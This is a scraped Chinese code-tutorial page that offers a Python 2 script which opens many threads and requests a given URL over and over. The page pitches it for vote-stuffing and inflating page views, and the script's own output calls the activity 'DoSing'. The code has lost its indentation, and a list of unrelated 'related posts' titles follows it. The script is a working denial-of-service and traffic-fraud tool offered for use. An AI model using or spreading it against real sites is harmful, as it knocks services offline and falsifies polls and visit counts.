本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread

import urllib2

import sys

import time

def usage():

print 'Usage: python ' + sys.argv[0] + ' '

sys.exit()

def reloader(numthread):

url = sys.argv[1]

numreloads = 0

while True:

try:

urllib2.urlopen(url)

numreloads = numreloads + 1

except KeyboardInterrupt:

sys.exit('\nProcess aborted.')

def splash():

print 'welcome to https://www.jb51.net/codes '

if len(sys.argv) < 3:

usage()

if __name__ == '__main__':

splash()

print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'

for reloadspawn in range(0, int(sys.argv[2])):

thread.start_new_thread(reloader, (reloadspawn,))

sys.stdout.write('')

dosind = ['-', '\\', '|', '/']

dosstat = 0

while True:

try:

sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')

sys.stdout.flush()

dosstat = dosstat + 1

time.sleep(0.25)

except KeyboardInterrupt:

sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

python多线程实现访问页面升级_python使用多线程不断刷新网页的方法相关推荐

  1. python不断刷新网页_python使用多线程不断刷新网页的方法

    本文实例讲述了python使用多线程不断刷新网页的方法.分享给大家供大家参考.具体如下: 这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了 import t ...

  2. python多线程实现访问页面_Python实现多线程爬虫

    最近在写爬虫程序爬取亚马逊上的评论信息,因此也自学了很多爬虫相关的知识,其实网络上已经有很多基于Python的入门爬虫程序了,所以学习起来比较方便,唯独那个多线程爬虫一直都学的不是很明白,所以就写下这 ...

  3. python locust 能压测数据库_python locust 性能测试:HOOKS钩子方法

    为locust中不同类型的事件,提供的钩子方法: from locust import TaskSet, task, events, Locust from locust.clients import ...

  4. python实现自动点击器_Python模拟鼠标点击实现方法(将通过实例自动化模拟在360浏览器中自动搜索python)...

    一.准备工作: 安装pywin32,后面开发需要pywin32的支持,否则无法完成与windows层面相关的操作. pywin32的具体安装及注意事项: 1.整体开发环境: 基于windows7操作系 ...

  5. python导入自己写的函数_Python导入模块的几种方法

    Python 模块 Python 模块(Module),是一个 Python 文件,以 .py 结尾,包含了 Python 对象定义和Python语句. 模块让你能够有逻辑地组织你的 Python 代 ...

  6. python合法的变量名有哪些_Python判断变量名是否合法的方法示例

    问题: 变量名是否合法: 1.变量名可以由字母,数字或者下划线组成 2.变量名只能以字母或者下划线开头 s = 'hello@' 判断变量名的第一个元素是否为字母或者下划线 s[0] 如果第一个元素符 ...

  7. [转载] [转载] python 去除字符串的标点符号 用_Python成为专业人士笔记–String字符串方法

    参考链接: Python字符串| 十六进制 hexdigits 参考链接: Python的字符串Strings decode "专业人士笔记"系列目录: 创帆云:Python成为专 ...

  8. [转载] python 去除字符串的标点符号 用_Python成为专业人士笔记–String字符串方法

    参考链接: Python的字符串Strings decode "专业人士笔记"系列目录: 创帆云:Python成为专业人士笔记--强烈建议收藏!每日持续更新!​zhuanlan.z ...

  9. python多线程实现访问页面_python 多线程实现网页自动截图

    准备工作 安装selenium 2.48.0,一定不要安装最新版本的,最新版本不支持phantomjs. 用phantomjs是因为它是单文件版.下载地址:https://phantomjs.org/ ...

最新文章

  1. efcore多表查询出错_如何提高sql查询的效率?
  2. 复旦大学教授邱锡鹏:NLP 任务中有哪些巧妙的 idea?
  3. 以太坊开发实战:通过truffle-contract与智能合约交互
  4. 《剑指offer》-- 从上往下打印二叉树、二叉搜素树的后序遍历、二叉树中和为某一值的路径、二叉树与双向链表
  5. 6种CSS控制元素上下居中效果
  6. jenkins是什么_使用 Jenkins 自动发布服务到 Kubernetes
  7. mysql性能仪表盘_mysql-笔记-性能
  8. 怎么打断点_孩子注意力不集中怎么办?7招提升儿童专注力,方法简单效果好...
  9. 7-4 输出三角形字符阵列 (15 分)
  10. 精品小程序小游戏代码集合(持续更新中)
  11. 2020年9月程序员工资统计,平均14469元
  12. STM32F103C6T6初步学习
  13. 大话设计模式之设计原则
  14. 多台电脑共用一根网线如何设置宽带共享
  15. 网易互娱2017实习生招聘游戏研发工程师在线笔试第二场(神奇的数)
  16. Android NFC读MifareClassic卡获取卡片ID 类型 扇区 存储空间
  17. 你真的了解爬虫吗?看完你会对网络爬虫有更深更全面的认识
  18. Java 8中Collectors.toMap空指针异常源码分析
  19. optics hecht pdf 5_干货分享:这些PDF文件压缩工具都是你不容错过的!
  20. 自然数与有理数的双射函数

热门文章

  1. 方太:以“一”解“套”
  2. Vmware ubuntu桥接方式联网
  3. python中向字典循环加入键值对
  4. Ubuntu 无法连接上 cn.archive.ubuntu.com:80
  5. 51nod 1213 二维曼哈顿距离最小生成树 树状数组+最小生成树
  6. 程序员需要经纪人吗?10x 最好的程序员其生产力相当于同行的 10 倍~
  7. ML基础 - 深度神经网络中解决过拟合的方法
  8. RNNLSTM学习总结
  9. python爬虫代码示例分享
  10. 使用ESP8266构建一个简单的温湿度在线监测装置